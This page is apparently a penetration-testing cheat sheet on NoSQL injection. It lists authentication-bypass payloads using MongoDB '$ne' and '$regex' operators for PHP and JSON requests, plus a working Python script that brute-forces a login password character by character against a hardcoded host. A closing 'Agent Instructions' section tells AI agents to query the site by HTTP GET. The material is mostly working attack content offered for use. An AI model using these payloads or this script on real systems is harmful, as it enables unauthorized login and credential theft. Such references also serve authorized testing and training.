# NoSQLi

* PHP

```bash
##-----| Content-Type: application/x-www-form-urlencoded
admin'||'1==1
username[$ne]=admin&password[$ne]=pass

# With regex; increase x++
## Count username's character
username[$regex]=^.{x}$&password[$ne]=pass
## Bruteforce username; change x to a,b,c,d...
username[$regex]=^{x}.*&password[$ne]=pass
```

* Node / MongoDB

```bash
##-----| Content-Type: application/json

{
    "user" :  "admin",
    "password" : { "$ne" : "passw"}
}

{
    "username" : { "$ne" : "admin"},
    "password" : { "$ne" : "passw"}
}

{
    "user" :  "admin",
    "password" : { "$regex" : ".*"}
}
```

* Bruteforce login password

```bash
import sys
import json
import string
import requests as req

proxies = { 'http': 'http://127.0.0.1:8080' }
url = "http://10.10.11.139:5000/login"
par_user = "user"
par_user_value = "admin"
par_pass = "password"
fail_respond = "Invalid"

def login(passwd):
    payload = '{ "$regex": "%s" }' % passwd
    data = { par_user:par_user_value, par_pass: json.loads(payload)}
    request = req.post(url,json=data)  #, proxies=proxies)
    if fail_respond in request.text:
        return False
    return True

passwd = '^'
finished = False
string = string.ascii_letters + string.digits + string.punctuation
while finished == False:
    for i in string:
        sys.stdout.write(f"\r{passwd}{i}")
        if login(f"{passwd}{i}"):
            passwd += i
            if login(f"{passwd}$"):
                print ("\r\n\nPassword is : "+ passwd[1:])
                finished = True
                break
            break
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://p0db0t.gitbook.io/pentest/owasp-10/nosqli.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
